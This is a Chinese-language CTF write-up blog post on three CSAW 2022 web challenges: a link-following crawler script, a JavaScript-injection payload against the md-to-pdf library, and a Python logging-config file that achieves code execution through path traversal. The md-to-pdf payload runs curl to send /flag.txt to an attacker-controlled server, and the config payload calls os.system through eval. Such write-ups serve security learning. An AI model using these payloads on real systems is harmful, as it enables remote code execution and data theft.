csawctf-2022

csawcft 22022 wp

Word Wide Web

脚本题,写脚本就好了,要注意的是,点击链接后会把点击的链接拼接上cookie。

如果写脚本的时候没有拼接cookie就拿不到flag

脚本

import requests
from lxml import etree

url = "http://web.chal.csaw.io:5010/stuff"
# print(len(url))

sess = requests.session()

while True:
    res = sess.get(url=url)
    root = etree.HTML(res.text)
    try:
        items = root.xpath('/html/body/p//a[@href]/text()')
        # print(items)
        if len(items) > 0:
            url = url[:29]+items[0]
            print(url)
        else:
            print(res.text)
            exit("CNM")

    except:
        print(res.text)

My little website

是一个把md格式转成pdf的node的网站,搜了一下

https://github.com/simonhaenisch/md-to-pdf/issues/99

能执行我们输入的js代码

paylaod

---js
{
    css: `body::before { content: "${require('child_process').execSync('curl http://your vps/?a=`cat /flag.txt`').join()}"; display: block }`,
}
---

Good Intentions

给了附件

主要看这一段代码

@api.route('/log_config', methods=['POST'])
@login_required
def log_config():
    if not request.is_json:
        return response('Missing required parameters!'), 401

    data = request.get_json()
    file_name = data.get('filename', '') 

    logging.config.fileConfig(f"{current_app.config['UPLOAD_FOLDER']}/conf/{file_name}")

    return response(data)

我们可以看到这里使用了logging.config.fileConfig函数,看下文档这个函数是干什么的

image-20220915154414373

用于修改配置的,并且我们能够发现他没有对读取配置文件的url进行过滤

所以这里我们能进行目录穿越。

@api.route('/gallery', methods=['GET'])
@login_required
def gallery():
    current_app.logger.debug("Entering gallery") 
    query = Image.query.filter_by(username=current_user.username).all()

    locations = []

    for image in query:
        locations.append(image.location)

    return response(locations)

@api.route('/download_image', methods=['GET'])
@login_required
def download_image():

    current_app.logger.debug("Entering download image")

    if 'file' not in request.args:
        return response('Missing required parameters!'), 401

    query = Image.query.filter_by(location=request.args["file"]).first()

    if query.location:
        return send_file(f"{current_app.config['UPLOAD_FOLDER']}/images/{query.location}")

    else:
        return response("File not found!")

@api.route('/upload', methods=['POST'])
@login_required
def upload_image():
    if 'file' not in request.files or 'label' not in request.form:
        return response('Missing required parameters!'), 401
    
    file = request.files['file']
    label=request.form["label"]

    if file.filename == '':
       return response('Missing required parameters!'), 401

    rand_dir = generate(15)
    upload_dir = f"{current_app.config['UPLOAD_FOLDER']}/images/{rand_dir}/"
    os.makedirs(upload_dir, exist_ok=True)

    filename = secure_filename(str(label + "_" + generate(10)))
    file.save(upload_dir + filename)

    new_file = Image(username=current_user.username, location=f"{rand_dir}/{filename}")
    db.session.add(new_file)
    db.session.commit()

    return response("File successfully uploaded")

这3个路由可以上传文件,查看文件,查看上传文件的路由(因为上传文件后会对文件重命名)

那我们就有了大体的思路,用上传文件传我们自定义的logging配置文件,用log_config路由目录穿越去加载我们传的配置文件

那么现在问题是配置文件要写什么?在比赛时我想到是用配置文件带出admin的password用admin登入因为

@api.route('/run_command', methods=['POST'])
@login_required
@admin_only
def remote_exec():
    if not request.is_json:
            return response('Missing required parameters!')

    data = request.get_json()
    command = data.get('command','')
    result = run(command, stdout=PIPE, stderr=PIPE, shell=True)

    return response(result.stdout.decode())

在这个路由直接就能rce

然后就一直找[formatter]能不能自定义参数,直到比赛结束都没有找到。看了其他wp发现这个配置文件能够rce

https://raj3shp.medium.com/python-security-logging-config-code-execution-e45660bc230e

我们可以用python的魔术方法进行rce,payload类似flask_ssti

image-20220915163403446

可以看到执行了命令但是这题没有回写,我们需要把flag写到我们传入的文件里去然后用download_img读取上传的文件获得flag

payload

[loggers]
keys=root,routes

[handlers]
keys=consoleHandler

[formatters]
keys=simpleFormatter

[logger_root]
level=DEBUG
handlers=consoleHandler

[logger_routes]
level=DEBUG
handlers=consoleHandler
qualname=routes
propagate=0

[handler_consoleHandler]
class=builtins.eval
level=DEBUG
formatter=simpleFormatter
args=('__import__("os").system("cp /flag.txt /app/application/static/images/6c22a9f0650da649d988e41b5fd09b/su_f4e2b7952fdea4dbafd0")',)


[formatter_simpleFormatter]

format=%(asctime)s - %(name)s - %(levelname)s - %(message)s -%(funcName)s -%(app_name)s

先随便上传一个文件

image-20220915164210205

再查看文件目录

image-20220915164332960

把配置文件里的文件换成上传文件的目录

image-20220915164536776

再上传配置文件

image-20220915164615067

看目录

image-20220915164632720

去log_config目录穿越加载我们上传的配置文件

image-20220915164816656

这里500是正常的

再读取我们第一次上传的文件

image-20220915164857850

成功

posted @ 2022-09-15 16:54  Ragna30K  阅读(59)  评论(0)    收藏  举报